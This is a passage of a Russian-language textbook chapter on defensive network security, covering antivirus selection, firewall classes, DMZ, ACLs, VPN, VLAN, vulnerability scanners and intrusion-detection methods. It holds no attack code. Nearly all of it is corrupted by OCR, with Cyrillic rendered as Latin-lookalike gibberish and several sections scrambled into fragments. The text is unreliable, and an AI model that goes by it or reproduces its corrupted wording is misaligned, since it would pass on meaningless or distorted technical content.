BUAMAaHUE NpH ux WCIONB30BANHHA.

CpencTso nepsoc — AHTHBHPYC. —
O6KMHO TIEPBBIM pOrpaMMEBIM obecTeucHH o
BITH! ]
0CTH, KOTOPOE TMOABIAETCH B KOMDAHHH, }IBJDIeTc;l a;mn W:a o
H . feic"r Ero HamMape eme HO O3HAMAET, YTO Opraf " et
Kzf:;yménwb o Gesonacsiocr. [IpocTo B conﬁn;:r;ﬂme ()(vanﬂlpwmwx -
. cTBME aBTHBHMpYCA HA KoMIbioTEpE — 3TO e O eoopt
e jMad  Beup, Kak APHCYTCTBHE TEKCTO neccops
WTE : i qeCT
HE0OXO AHTABAPYCA TOPOA ABIACTCH HE K& i
e, g mansii 0OpeM, BO:
HITM HU3Kast CTOUMOCTE.

U
IIC)KHOCTB a IXOCTynHOCTb ImpaTCKOﬂ KOIL s
2

MOKHOCTh fepeHoca HA AUCKETC

E:JIH ]lEpa ITH ¥ E:JIEE “F:@:::][:iz“ [:IS 1 :’[ :"5’

p paborht
BYIO O4CpeAb HEOOXOAUMO OLICHHBATD 3 eKrTABHOCTE P
o uu.
KOII)ier'l‘HOI‘O NPOAYKTA B YCIOBHAX opraHu3au

&
TIpu TOM CIEAYET oGpaTHTh BHHMAHHC HA CHEAYHO

e 7 penak!
e Cﬁncox BHpPYCOB B TEKYIICH fazc — HACKONLKO OH

IHEe BAK-

9 OTIEPATHBHO
pycos: BUPYCOB HACKONBKO \
_ C posBiCHEEM HOBHX BHDPY om? B zieHb YBEOHOMAC

MIOCTABIIMK ‘.
TIPOMBBOAMTCH obmosacHue Oasl e

pus paspaborauka AHTHBHpYCa O HOBOM BUPYCE,

peaenmo? HBIX Oa't
JeHb, qeplﬁc‘«:& 3 oGpasom HPOMIBOETCA Aoc.rg;ﬁxa OOHOBIICH :
— Kaxd 1151? praHas TPAKTHKR
B cOB JI0 norrpeﬁmc - i
pacnm:mm“p};arpwm JX C CAifTOB [POM3BOUTCICH anT
370 1S
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pyca B Hurepucre. A cenn y n10b308a1est HET K HEMY IPIMOYO HITH
perymaproro aocryna? Bosmoxua ny focraBka 0OHOBICHUMI perno-
HATBHBIM AP THCHOM, AUCTPHOBIOTOPOM?

~ Ha xaxom ranc aHTHBHPYC MOXCT Paclio3HAaTh BUPYC H
TIPEJOTRPATHTH Cro pacipocrpancHre? BoIMOXKHO M 3TO Ha MeXCe-
TEBOM IKPAHE WX Ha MIOMTOBOM CepBepe, T.€. «Ha aeTy»? [lpu xonu-
poBannu daiinos ¢ BrelnHux Hocurencit? Minn tonsko npyu yencHa-
IIPaBJICHHOM CKAHHPOBAHHM JUCKA?

~ Kaxue pecypenl TpeOyeT aHTHBHPYC OT KOMIIBIOTEpA, Ha KO-
TopoM Oyaer yeranosiaen? OcobeHHO OT IPOLECCOpa ¥ ONEPATHBHOH
maMaTu?

— Kaxk oprammsosana apxarexrypa paborsl nporpammer? 310
OTACNBHBIA NPOrpaMMHBIE MOXYJIb MK cepBep u arenThl? Kax opra-
HH30BAHO 3aBTOMATH3UPOBAKHOS OOHOBIICHHE PACPEACIEHHONO IIPO-
rpaMMHoro obecrieycHAN?

He pexomenayercs onpenensTs KauecTso paboThl aHTUBHPY-
ca 110 KOJIYECTBY HArpaj OT PA3iHIHBIX CYATHHIX HIZAHHMH, JIyIme
o0paTHTHCS K H3BECTHHIM HE3ABHCHMEIM OKCIICPTAM, HATPHMED
ICSA Laboratory. I'lpu 310M caeayer oOpaTuTh BHEMAHUE, YTO aH-
THBHPYCH TPOXOANT CEPTHGUKALMIO 110 PAZTHIHBIM HOMHHALASM —
aHATH3MPOBAThH CTOMT HMEHHO TOT pasjel, Koropeiii Bac maTepecy-
eT.

DbpdexTuBrOCTE PaboTh AyYme BCErO OMCHUBATDH IO OMBITY
IHAKOMBIX (0COBEHHO, £CTM OHM NePEIN | OT HCIIONE20BARUS ONHOTO
AHTHBHMPYCHOrO MPOAYKTA HAa APYro#, ocOOEHHO HMHTEPECHO Y3HATh
npuaussi). Kpome TOro, MOXHO pEryisMpHO OTCICKHBATH AKTHB-
Hocte Minreprer-caiiros npom3soaMTencii aHTHBMPYCOB, oOparHTh

. BHHMAHHUC Ha, KaK ObICTPO pearupyioT pa3paboTuMKH Ha IOABJICHUC

HOBBIX BUPYCOB.

Ipu npuoOperennn aHTUBHPYCA HEOOXOAHMO YUMTHIBATL HE
TONBKO HEPBOHAYANBLHYIO CTOHMOCTh NMPOAYKTA, HO ¥ COBOKYHHYIO
CTOMMOCTB BlIaJcHus. Bo ckombko 0GoHAYyTCA OOHOBNCHNMS ¥ rapaH-
TUHAS THOAACPIKKR; IPHOOPETEHNHE HOBOH rapaHTHHHON NONICPKKH
Nocie MCTCUCHAS TEKyIHeH; TpHODPETeHHE HOBBIX JIHUSH3MA Ha
TIOMB30BaTENEH IPH YBEIUSCHIA HX THCIA.

Y4uThibas, W0 B HACTOALICE BPEMA MOMYSHIIH PA3BUTHE KOM-
TIAHAH, NPEANAralomue BECh CIIEKTP aBTOMATH3UPOBAHHAIX CPEACTB
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6€30MAaCHOCTH, CIEAYET 33AyMaThCH O NEPCMEKTUBAX H BHOpaTs ani-
TUBHPYCHEIH TIPONYKT KAK KOMITOHEHT, KOTOpHi B Oymymem Gyner
HHTETPHPOBAH € MEXKCETEBRIM 3KPAHOM, CHCTEMOH OOHapyXKCHM
aTak ¥ NPOYMMM COCTAB/IIOMMMH. B NMPOTHBHOM Cilydae, paHo MM
MO3AHO, MOXKHO CTOJIKHYTBCA C MPOONEMOI COCTHIKOBKH IIPOAYKTOB

Pa3NUYHbIX MPOU3BOJHTEIICH.

CpencrBo BTopoe — MexkcereBoii 3xpan (Gpanamayap, firewail).
O mexcereBnix 3xpasax (MCJ) opranuzanms OOBYHO 334y~
MBIB2ETCA B ABYX CIIydasx:
— TIPW TOSBJICHHMH TOCTOSHHOIO HPAMOTo BrIxoxa B Mmrep-

HET, HMEIOLIETO COEAMHEHMUE C JIOKAIBHOH CEThIO;
— NPH OPTaHM3aUMH B3aHMOACHCTBHSA CO CBOMMH YHAJICHHBI-

JocTyna (BBIACTEHHBIX WM KOMMYTHPYEMbIX TEHS(OHHBIX THHUH,
0eCcIIpOBOAHOIO MITH CITyTHHKOBOIO KaHAJIA H T.IL.).

Kiaccnbux MCH.
s Toro urobur onpenenuts, kakod MCD neoOXomauM, HyKHO

3HATh IPUHIMITEE PAGOTE! KOHKPETHBIX MOKEJICH, HA KOTOPHIE MOXHO
opuenrnposateci. Cymectsyior pasmiananie xkinacckh MCO. Brine
M TpH Haubonee 9acTo BCTPEUAIOMMECT B HACTOSIIES BPEMSL.

— TaKeTHHIH QHIBTD;

— € KOHTPOJIEM COCIHHCHHUA;

— MOCPEAHVK IPHIOKEHHUA.

1. Naxernsrii dhumy acket filter, screening filter).

INaxeTHbIf GUABTP B YHCTOM BHAE — 3TO YCTPOHCTBO, KOTO
poe dmibTpyeT (IPOMYCKAET HIH OTKIOHSET) CETEBLIC MAKETHL 11
OCHOBE TIPCIOTIPE/IENICHHBIX JaHHbIX O cereBhix (IP) axpecax mcrou
HHUKa W nonyuatens. OfHAKO B BHJC HE3ABHCHMBIX IPOrpaMMHO
anmapatHeX koMmiekcos MC3 storo Tuma yxe AaBHO HE BCTpEu:
I0TCS B OCHOBHOM IO NMPHYHHE HEAOCTATOYHOH (PYHKIHOHAIBHOC!!
(HanpuMep, JIETKOCTH MOJMEHBI aapecoB — crydhuHra — s npo
TOKOJI0B Ge3 ycranosinenmst coeauuenuit: IP, UDP). B nHacrosny«c
BpeMsi NAKETHEIM (MIIETPOM MOXHO Ha3BaTh MapIIPYTH3ATOp ¢
¢ynxmsmu MCD atoro yposHs (anr. firewall option pack, firewall
feature set). IIpu aTOM, BO3MOXHO, CaM MapIPYTH33TOP BHIIIONHsC 1
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- ircuit control).
¢ KOHTDOJIEM COE Kujl aHAMS
%\;1(1\343(:3;(3}130?1 KaTeropuH IPOH3BOAIT Gomes Tsoz:mﬁ IIaKeT B
accMaTpHBAIOT
aduxa, a HMCHHO, D M UHCIE C
TPOXOAAMICTO TP ero K KOHKPESTHOMY COEAMHEHIO, 5 T:,ZIHHBHHe u
oCTH co
W;“;ﬁn:(ﬁ KeM, KOTJa M Xax 6BLIO nmmlﬂiéonaﬂguna nepeA T0-
AKTHBHOCTh B paMKax u10 Psif MPOTOKO-
Km(a:meM A@HHOrO MAKCTa. TipuueM, yUHATHIBAR, M eppUDP), MCD
e Goraior 6e3 yCTaHOBKA coeuuerax (1 Kax TH. «BEPTYATE
1108 paB onaT padory ¢ TAKHMY makeravy ® pev 3T0.M-C.leqae pac
[pou3 o quenns — noroka (anri, flow) Hll}l 5TOM BO3MOXHO
HOro» €O AKHE TIAKETH B SIAHOM xouTekcre. 11pH -
cMaTpuBast KO O TCKYLIEM C .
Malmy HE TOJb! 3 TEXHO-
A P:;‘G{r;&ie}mﬂ HanMCHOBAHME COBPCMCHH:(I:CYOSJHM
I’D{ o, * —— 0]1]7
" npenblﬁz’rl:;m i 3T0T MexamusM, — KOHTP
JOTHH, L i
- epection). QBKICH
(awirn, stateful mjfm ycxzne xomurpons Gonee BmcoKHXOYP o
HUS OTBHATC.
Osm:; s MCD pansioro THNa HCTIONB3YETCH ;; AKTHBHOCT
coTeBors mgamp COZLEPHKHUMOTO [AKCTOB, HccneﬂTy ot obpasoM, 0%
% QHAE . Tamum , 0
peIi oo ACATIA A0 YPOBHS PHNOKCHAA OKOITOB OF €€
JAHHOrO ‘B“Wm TIPaKTHICCKHA Bech CTEK TP © BHICOKYIO
BA9YCHHBIM OKa3hl ATHORO, YT MO3BONACT HPCAQOHOKP;TM&T TIPOCK
T ormc upﬂpenmpamenm 0G0l M3BECTHOH HA M
BEPOSTHOCTD
uposanma MCD aTaidt.

. e I
lication proxy. app
% npeoxeHns (3]

3. MC? — mocpeé

i ateway). 3aKTIOYACTCS B TOM.
%ﬁwpeﬂ“ﬂm APHIIONKCHIT ml:,; BO BHEWIHCI!
exu = NBIOTED :
cii ceTH U KOM
410 epbl BO BHYTPCHH M HAIPAMYIO,
Ko%n&nmm COGRUHCHHS MENAY coboR ﬁﬂecepsuc WM
oene 3yBHPTYaJIbH0r0 «TIOCPEAHUKA> = Umenbm:meﬂn cepsepa, 4
‘:5; 5 MCD, koroputii 00maeTes © ogmaermMCB BHICTYMIACT Kilt
KuM 00pP ’
eHH KIMeHTa. 12 oBaTh B
cepBepoM O MM H. COOTBETCTBCHHO, MOKET aﬂmmangaﬁ o
qacTh coennu:m“pn ’coe cppm CODBITHA, oOHapyxuBasi,
[POUCXOAATIN JMH
quC/IE ¥ BOMOMKHBIE aTAKH. PT—
JisHauATBHO MPOKCH-CAYXO pasp pIX TPOTOKOJIOB Mipt!
1% HECKOTNbKHX HamOOoNee nony/IpH B coBpEMEHIIH
et yposrs (HTTP, FTP i1 HOKOTOPRTX )
KHAfHOro
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HCKHK)I il

peammsamiax MCD jarHOro Kjacca ecTb BOZMOXHOCTH CO3AABATH
MOCPEAHUKOB Uit COOCTBEHHBIX NPHIOKCHHH, OTIHYHBIX OT Iepe-
yucaeHHBIX . OOIMEMHPOBBIM CTAHAAPTOM MOXOOHOTO «YHHBEPCAIIH-

HOTO» TpokcH-cepeuca cran mporokon SOCKS. Kpome Toro, B Hux
TAKKE PUCYTCTBYIOT BCE BO3MOKHOCTH NMAKETHOro (hunsrpa.

Criopst 0 TOM, KaKas M3 JBYX IOCICIHAX TEXHOIOrHi Iydue,
npogomxaworca. [Ipusepxenubr 00€HX TEXHOJIOrHH rOBOPAT O JOC-
TOMHCTBAaX CBOEH M HEAOCTaTkax mporuBomonoxksoi. Cuwracres,
910 002 MPUHUMNA 32MMTH J0CTaTo4HO Hajxexusl. Hecosepmenct-
BoM MCJ koHTPONS COCAMHEHHs CUHTACTCA BO3MOMHOCTH MPOXOKA
psaa atak Ha ypoBHe npuioxerwuii. HemocrarkoM nocpeanuka npu-

JOXKEHUH — 3aMEAJICHHME MPOXOXAeHUS Tpaduka 3a CHET YCTAHOB-
JICHHS JBOWHOTO COCAMHEHMS K MOCPSIHHUKY.

JansHeliiee COBEPIICHCTBOBAHME MHKPOIEKTPOHHKH 1103BO-
nser ocHamare MC3 pasnuusbpIMH JONOMHUTENbHEIME (QyHKIHAMH
03 3HAYHTEIBHOrO YBEIMYEHHRS CTOMMOCTH H Pa3MEPOB YCTPOHCTBA.

W3 gononsurensusix $yuxuuii MC3 paccmorpaMm ase Hanbo-
JIee MOJIE3HAIX, C TOIKH 3peHus Oe30NacHOCTH:

—~ CO34aHHC JCMIIHTAPU30BAHHOM 30HbI;
— TPRHCHALMIO CECTEBBIX 3APECOB.

1. Coznanue AeMHINTADH30OBAHHOM 30HBI.

CoBpeMeHHOE pasBuTHE OH3HECA NPEANIONATACT, Y10 BHYTPEH-
HHC PECYPCH OPraHU3alHy HE JOSKHBL ObITh NMOJHOCTBIO 3aKPHITHL.
Psx KOMIOBIOTEPOB, Takux Kak BebG-cepsBep, FTP-cepBep, MOYTOBBIH
cepBep, MOMKHH ObITh B TOH WM HHONH CTCHECHM AOCTYIIHBI ZJsL
BHEIIHUX NOB30BATENCH, B TOM YHCIC AIS TEX, O KOM HET HHKAKOH
npexsapuTenbHOi mHPOpMamm. ['ze ciaeayer pasMemiaTe Takue
koMmpiorepr? Ecimu 80 BHEmmel cetu (Tiepes MEXCETEBRIM 3KpPa-
HOM) 3TO 3HAYHT, YTO HX 3AIMUMEHHOCTH OYAET 3aBHCETHh TONBKO OT
cxeMul GE30MacHOCTH ONEPALHOHHON CHCTCMBI U NIPHIOKEHUS, JTO,
KaK TOKa3bIBACT ONBIT, HEAOCTATOuHO. ECu pa3MecTuTh HX BO BHYT-
peHHeit cetH, 33 MEXKCETEBHM 3KPAHOM, TO TOTIR MPHASTCH IPOITyC-
KATh BHCINHWX IOJB30BATENCH BO BHYTPEHHIOI CETh, & 3TO BCEra
HeOE30MacHo, AAKE NPH TOYHOH HACTPOHKe npasui Jocryna. Brnom-
HE JIOTHYHO HANpAMMBACTCA BBHIBOX — CO3MATH A% MORXOOHBIX pe-
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Hpasnaa jocryna, JHCTH JOCTYNA

Adpdexrnsnocts paboret MCD  ompenensiercss IpaBHIaMH

jJoctyna (amrsn. access role). UMeHHO OHY OHpEXEIIOT MOBEACHHE
MCD3 npy nonyuCHIA NAKSTA.

O6bIyHO HPaBMIIO BKIIOYACT B celsi:

— HaNpaBJICHHE BXOJA JUI1 JaHHOTO Makera (HOMEP MM Ha-
3BaHHeE ceTeBoro unartepdelica, ¢ KOTOPOro NOCTYIIMA NAKET);

— HANpaBJICHHE BHIXOHA M3 LUII03a (HOMED WM HA3BAHHE CeE-
TeBoro unrepdeiica, Ha KOTOPHIH HANPABISETCA MAKET);

— aapec WiM Irpyniny NPHHANICKHOCTH (FPYNiTy aapecoB), Ky-
Ja OTHECEH HCTOYHUK, NOPOAMBLIMI NAKET;

~ anpec Wi IPyIy NPEHAMISKHOCTA (TPYIITy aXpPecoB), Ky-
Ja OTHECEH MONY4YaTeNb NAKETa;

~ [POTOKOJ HIIH [IOPT CIYKOH!, OT KOTOPOH IPUINET MAKET;

~ IPOTOKON MK YIOPT CIYkOh!I, KOTOPO# aJpecOBaH IaKeT;

— uabop AeHCTBHIL, KOTOPHIC HEOOXOAMMO TPCANPHHATH I

JAaHHOTO nakera (MponyCTHTh, OTBEPTHYTH, NEPECHATh APYTOH CIIyHK-
6e, mpoaHaM3UPOBATH AOTIOIHHTEIBHO).

HaGop npaBui, BO3MOXHO, C JONONHHTEIbHBIM ONPEACHCHMU-
eM unTepPeicoB, rpynn U pSA3 APYIHX [APAMETPOB, COCTABILIOT
ymcT gocryna (aHri. access control list — ACL).

Tpu ycranoske MC3O nenp3s 3a0bBaTh 0 BOZMOXXHOCTH aNb-
TEPHATHBHOTO JOCTYNA B JIOKANHHYIO CCTh NPCANPHTHS. [ 3TOr0
MOXeT OHTh HCHONBL30BaH DE3CPBHBIA ONTOBOSOKOHHHIH KaHal,
KOMMYTHPYEMBIC WM BhUENEHHbIe nuHun. Hanpuwe ansrepHatHs-
HOFO MOAKIIOYCHHS JENACT CeTh npeanpaarus Golee yCTOHYHBOM K
Pa3TMYHBIM HEraTHBHBIM BO3JACHCTBUAM, HO TONBKO B TOM Ciydae,
€CIM AIbTEPHATHBHbBI KaHan Taoke noakmodeH yepes MCI.

Ecmx nopxmoueHue mpoucxogut B obxox MCD, Hampumep
OJIVH W3 KOMIBIOTEPOB JMOKANBHON CETH HCIIOL3YET NEPCOHAIBHBIH
MozemM, 1o pabora ocHoBHoro MCD moxer OwmTe CBGACHA HAa HET.
Tax ke XaK HeT CMBbICNA CTABHTh MOIMHYIO OPOHHPOBAHHYIO JBEPH
0e3 yCTaHOBKY PEHIETOK HA OKHA MEPBOro 3Taxa.

B xauecTse AOMOMHUTCABHBIX MEP B 3TOH CUTYALHH BO3MOXK-~
Hbl yCTaHOBKA mnepcomambioro MC3D Ha xausbif KOMIBIOTSD M
BKTIOYCHHE MOZEMA B CETh TONBKO HA BpeMaA paloTh (Tipwema i
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OTTIPaBKH KOPPECIIOHACHIUM C AOIONHUTENbHOM ¢e mposepxoit). Ho
B JO0OM Cydae, 3TOT BApHAHT ABISCTCS BHIMAJCHMEM M3 0Omieh
HONHTHAKHA OC30NIAaCHOCTH CO BCEMM BHITCKAIOUMMH IOCIEACTBUAMH.
Ecny TakMX aneTepHATHBHBIX MOAKIIOYCHHI B OpPraHM3alMH Cymie-
CTBYET HECKONBKO, BO3MOXKHO, CIEAYeT 3aXyMaThcs O MPHOOPETCHAM
Broporo MCD nis co3ganHus eauHOro mopTaia, HAUPHMEP, KOMMY-

THPYEMBIX TIOAKITIOICHMH.

Cpencrso Tperse — texHosorus VPN
(VPN — virtual private network — BupTyalbHas YacTHas CeTb).

Cospemennsie Texuonoruu VPN OpHEHTHPYIOTCS Ha HCHOb-
30BaHHE CTaHAApTHHIX nporokonoB Oesomacnoctd (IPSec, PPTP,
L2TP, L2P), HO KOHKpETHbIC NPOH3BOAMTENN MOTYT IPEAOCTABIATH
M CcxeMpr 2arapThi coDCTReHHOM pazpaborxu. Cama texHOmOrus 3a-
KITI0YaeTes B MPHMEHCHHH KPHITTOrpadM4ecKuX MeToAO0B s obec-
TICHCHHUA KOHQ)MGHHPI&IIBHOCTH H OCROCTHOCTU JaHHBIX, IICPCCHI-
NaeMbIX MEXAY KIIHEHTOM H CEPBEPOM.

JBa ocHOBOMONaraomux npyusHaka texuongoruy VPN.

— Cpenoli mepemaum FaHHHIX OORMHO CiyXar cerd obmero
none30BaHms, Takue kak Hwrepuer, ropoackas tenedoHHAs CETH b
KoprioparuBHas ceTb 06e3 JNONONHMTENLHBIX MEXAHH3MOB 3a[UThHI
(HanprMep, anmapaTHLIX).

— Kpunrorpadudeckiie MeXaHH3MbI  HAKIAABBAIOTCH I
TpeTheM (cereBoM) ypoBHe Moxemu OS] miu Mexay TpeTbuM H BTO
PHIM YPOBHEM. JTO CO3JACT Y MOH30BATENS WILTIO3HIO H30IMHPOBAII
HOCTH OT NOJAB/IOETO OONBIIHHCTBA Y370B CETH OOMIEro MoJIb3o

BaHMA W CO3JAHMA «BHYTPH HEE» BHPTYAJILHOH CETH M3 HECKOIBKHX
KOMIIBIOTEPOB, KOTOPHIE BAAACIOT ofuHaxkossiMi VPN-cpeacrsamu « .

OANHAKOBBIMH Kppm*rorpa(bmecxcmwn KIOYAMH.

Texnonorus VPN MoxeT peanv30BHIBaTBCA KaK HCKIIOUN
TEIBHO NPOrPaMMHBIMH  CPEACTBAMH, TaKk M  HpOrpammuo
anmapaTHLIME — HAPUMEDP, MapIIpyTH3aTOpamu ¢ pyHkimei VPN

Texnonorus VPN 0OBYHO MPHUMEHAECTCA B CHACAYIOIIHX J(BY %

CxXeMax:

~ Cxema «ceTb-CeTh», KOTAA IPOTOKOIB DE30MacHOCTH npn
MEHSAIOTCH TONBKO K IAKETAM, BHIXOAMIIMM H3 JAOKAJBHOM CETH, n

220

— Ha ocrose daxray
OPTOB KOMM
BBIX Cerm oA aerc
Sers CHTOB. B 310M crrywae ga KOMMyTaTope yxasgy acren o
pnamaSOM ym\oc*rz, _TOro uim unoro TIOpTa K famHOMY VAN BTamaanH-
i ) Opogcma, TpucoeHennye K TOPTY KoMMYT: e
4 KmTeM AICHCTBOBATS TONBKO ¢ YCTpoiicteamp Avicaling
nopram, koroprie 00beaunen 510, DA CR:
ol bl B JaHHyI0 BYUDTYaTsHyI0
~ Ha ochope MAC
potiors. 1 © "APECOB mMH rpymm hy
CETEBRIX HHTI;;E)eﬁcole;'IAC o o : 3::?:[(:;; =
B -
° ~ -aZpeca), M koM
yc]pocrynoﬁm:;‘nc Ha HEro kampm gy Hanpamer)q:yfop o
> 1 MAC-aapeca NpOnHcans gy ;(aﬂnor:o VJII[:IX)N o
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— Ha ocHOBe ceTeBOro mpoTOKONAa WM FPYOI JOTHYCCKHX
ycrpoiicts. [lpm 9T0M Ha KOMMYTAaTOpE YKA3HIBAKOTCA aJpeca MM
HoMepa noacerei (A xocroB — IP nofcers) ¥ KOMMYTaTOp, B JaH-
HOM CiTy4ae, paboTaer, MpakTHICCKH, KaK MapIpyTH3aTop.

— Ha ocnose tanos nporokonos. KomMyTatopy yKa3siBatotTcs
HHCTDYKLIHH, B KaKHX DIOJISAX. KaIPOB MCKATb YKA3aHHA HA ITPOTOKONBI
d obbeauuaTh gaHesie VLAN 1o npuHimmy DpHHAANCKHOCTH K
nporoxonam (Banpumep, VLAN amax DecNet w VLAN amx
NetBIOS).

~ Ha ocHoBe XOMOHHAIHY KPHTEPHEB WX HA OCHOBE IPABMII.
B 3rom caydae ans cozmanus VLAN moryr Obith UCHIONB30OBAHM
KOMOMHAIMHA [IEPEYUCIICHHBIX BAPHAHTOB, HAIPAMED, COBMEIICHUEM
MAC-anpeca, agpeca moacereit ¥ THIIA NPOTOKONOB.

~ Ha ocuose teros wiw IEEE 802.1Q. K Ethernet-xanpy no-
GaBnsercs MACHTHOHUKATOP NPUHAMICKHOCTH K TOMY HIHM HHOMY
VLAN, a KoMMyTaTop HpOW3BOAHT COPTHPOBKY KAIPOB Ha OCHOBC
aHaNM3a ITHX HACHTH(HKATOPOB.

—~ Ha ocHose ayrenTudukaipy nonn3osarencii. B atom ciy-
9ae KOMMYyTaTopsl 6yayT paboTaTs Kax MEXKCCTEBBIE SKPaHsl, TpeOys
y monb3osBarencii ayreHTHOHKAUMOHHBIX JAHHBIX (HMA/NApOIb) M
npou3BoAs GAKTHIECKY IPYINIHPOBKY NONb30BATENCH H PECYPCOB, a
HE YCTPOHNCTE.

CpeacTso unToe — CKaHepbl ysi3BHMOCTEH
JlaHHBIE CPEACTBA NO3BONSIOT ONPEAE/IUTL, HACKOMBKO YA3BH-
Ma uccaegyeMas cers. CKaHepsl YA3BHMOCTEH HCHONBL3YIOT Kak CO-
TPyAHHKH CyxOb uHPOPMALHOHHOH OE30MacHOCTH, TAK H IIO-
ymuimieHsnkH. Y 1€, ¥ Jpyrue npuMeHsIoT BX A AMArHOCTHKH Y
OIPCAICACHHS CTCIICHH 3AUHIICHHOCTH CETH. TOMbKO MEPBHIC HHIYT
HCAOCTATKH B CHUCTEME UL HX YCTPAHEHM4, a BTOPHIC — JUif Opra-

HH3AI{HH ATAKH.
Cregyer HOMHUTSB, 9TO CKAHEP HE MOXKET JaTh PEKOMCHIAIHAI

N0 NOCTPOCHUIO 3ANTHIICHHON CETH, €r0 OCHOBHAA 3aAa9a HAHTH M
COO0LIHTL O HANACHHBIX YA3BAMOCTAX, CTENECHH MX onacHocTH. Cxa-
HEPHl TAKOKE TO3BOMSIOT ONCHHTH 3GQEKTHBHOCTD IPEATPHHATHIX

MEp 3aI(HTHL.
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HO Of-
coodmenne 00 araKe J0cTOBEPHO (€CTH obpazel BEP

¢ILCIICH);
P — IpUMEHAM JUI BCEX MPOTOKOJIOB.

BI. )
OTpHI@TEIbHEIE CTOPOH o
CCHJ::J obpaser; onpeacicH cumKoM obme, TO BEP

% JCHBIX CpaOaThIBAHHH, N

coet HPOHCHT'J::@ Hec'r;)ﬂ)laprﬂaﬂ, TO OHA MOXET OBITH TIPOITYILY
— ecnu @

. apath HE-

o jnsl OJZHOH aTaKd, BO3MOMKHO, MPHACTCH CO3L;

crom® 06pa3u03; eH aHANU30M OJHOro akera u,

— METOjA orpanud
1% BUTHA aTaKY.
BHE, HE yIABIHABACT TeHACHIHHA H pa3

KaK CIeAcT-

i T ST A 3 3

2. Texuonorud COQTBETCTBHUA ciocmsxm«;me e T —
TTocKOmBbKY CETEBOC B3AMMOJCHCTBHC, o oTad ¢
6 ce. deM CMHUHHBIHA MAKET, TO AaHH B O D e 100
T ot a He C OTHCIbHBIM paxeroM. 11pon Nt
B v nann::etga A3 KaXKaoro TeKyuiero COCJIHHCHHT:;CEPCM
oo WU aTaKH.
gpﬁian?wamx pemIeHue O HAMMInH WM m T oTON,

po e C .,
BOZHTH CPaBHC o
e ecTH IIPUMEP, KOrad crpoka «foot» Hanpa,BJ'[:e o
Oy 5 7 kak «fo» | «Oot». B 10M CIHyF

TO

naKTaKy : HTP €TOB BBISBHY
KYGMOMn};):nggxm a a4 METOJ| KOHTPOIS [OTOKA TAX
METOA ,
ee. .
JALHBIC CTOPOHBL: o
Honoxmﬂr:eﬁem METO/L JHIIb HEHAMHOTO CITIONCHEDT
ug ¢ oOpasuamMH, "
cpaua“e_H [TO3BOJISET JKCCTKO yBA3ATH obpasert C aTa:g e sepro o
coobmeHue 00 araxe JOCTOBEPHO (ecym 00pa3
SIeH); .
> — TIpUMCHUM JUIs BCCX IPOTOKONOB;

¢ METO
HeHyie oT aTaxKn Oonee CIIOXHO (1'10 cpanncrmxo
— YyXJO

70M CpaBHEHENA C oGpastamMu).

OrpuuaTeIbHBIC CTOpOHHL:
_ ecyu oOpasell OnpeAccH
poATCH BEICOKVIH TTPOLEHT JIOXHBIX
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B CHMIIKOM O0IEM BUAC, TO B
cpa6amsamn‘i;

— CCIM QTAKA HCCTAHAAPTHAS, TO OHA MOXCT OBRITh Mpomyme-
Ha;

— AT OAMOM ATaKd, BO3MOXHO, NPHAETCA CO3JaBaTh He-
CKOITBKO 00pasios.

3. Auam3 ¢ pacubpoBKoit IIPOTOKOTA

B stoM cnydae MeTOA IpeAnoaraCT aHaM3 aTak NPUMCHH-
TEILHO K OTACIBHBIM MPOTOKONAaM C yueToM ux cnenuduxu. ocre
TOTO, KaK BUJ MPOTOKOIA ONMPENENICH, MPUMCHSIOTCS MPaBUiia Cymme-
CTBYIOUIHX CTaHAAPTOB JUIM MPOTOKONIA C YYETOM OOHApPyKEHUS He-
COOTBETCTBHS ITHM MNpPaBH/IAM, TAKHX, HAUPHMED, KAK 3HAYCHHU
cnenu¢MYeCcKUX Monei NPOTOKONA, AMUHBL MOJCH, YHCIa apryMeH-
TOB ¥ T.IL

Ecnn, paccMaTpHBas Haml NPAMEP, MPCANIONOKHUTH, ITO [O-
sepx nporokoma TCP Gyaer paborate mpoTOKON, B KOTOPOM €CTh
NoJe TIEPEMEHHOH JUIMHBL, a CISAOM 33 HHM IIONe, OJHAM U3 3HaYe-
HuH KOTOpOro MokeT 6bITh apamerp «foot», TO npM UCHONB30BAHUK
MCTOJOB CpaBHEHHA C OOpaslAMH H COOTBETCTBHA COCTOSHHS MBI
NOJy9HM BapMAHT JIOXKHOTO CpabGaThBaHMA, PUYEM, YIUTHIBAS IIE-
PEMEHHYIO JUTHHY IIEPBOrO ITOJS, 3aTPYAHMTENLHO OYAST HACTPOUTD
IIPaBHIIO, KOTOPOE ITPOITyCKANO Obl Taxue riakern 6¢3 cpabarnBans.

B kagectse nprmMepa npomycka peanbHOM aTaky MOMXKHO TpH-
BECTH CTy4ai, KOrAa IIIOTETHICCKHM POTOKOI JOMYCKAET HTHOPH-
posanne 3nauenmnii NULL, toraa crpoka (f' 00;6'0' 006 0" 0046 't")
Syner OpONyIiHCHA B ABYX NPCABIAYIHHX MCTOAAX, HO OOHAPYKCHA B
aHaym3e ¢ pacmEgpOBKOH MPOTOKONA, KOTOPBIH IPOU3BEACT yAane-
uaue NULL-3navenwi.

Honoxure/ipHEIE CTOPOHEL:

— CHIDKZET BEPOATHOCTD JIOKHBIX cpabarwiBaHuii, €CIH IIPo-
TOKOJI TOYHO CHIPCACICH;

— TIO3BOJIET JKECTKC YBA3aTh 00pasen ¢ aTakoii;

— NO3BONSET YNABIMBATb PA3TUIHBIE BAPHAHTH HA OCHOBE
OJIHOM aTaKH,

— TI03BOJIAET OOHAPYXKUTD CIIydaH HAPYIICHHS NPABMII PabOTH
C TIPOTOKOIaMH.
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OTpUUATEILHEIE CTOPOHBL:

~ €CNIM CTaHAAPT MPOTOKONA JONYCKACT PA3HOITCHHA, TO Be-
POATEH BHICOKMH NMPOLEHT JOXKHBIX CpabaThIBaHMIi;

~— METOJ CIOXKEH Jif HACTPOHKH.

4. CratucTHueckail aHam3

Henonpayer anropHTMU3MPOBAHHYIO JOTHKY IS ONpEJCHe-
HuA ataku. [IpAMEHAIOTCA CTATHCTHYECKME AAHHBIC M4 OLICHKH
Tpaduxa. [Ipumepom BrISBICHNS TaKOH ataku OyACT Pacro3HaBaAHHE
CKaHHpOBaHMsA NOPTOB. [{nA npaBuna OmpenensIeTcs NPEACIBHOS
3HAYCHHE MOPTOB, KOTOPRIC MOTYT OblTh HCIONB3CBAHHE HA ORHOM
xocTe (BO3MOXHO, B C OZHOTO X0crTa). B 3TOM Ciiydae OXUHOTHDBIC

JIETanbHBIE COCTHHCHHA JaAYT B CyMME NPOSBNCHHE ATaKH.
Tlonowwmrenrusie cropons::

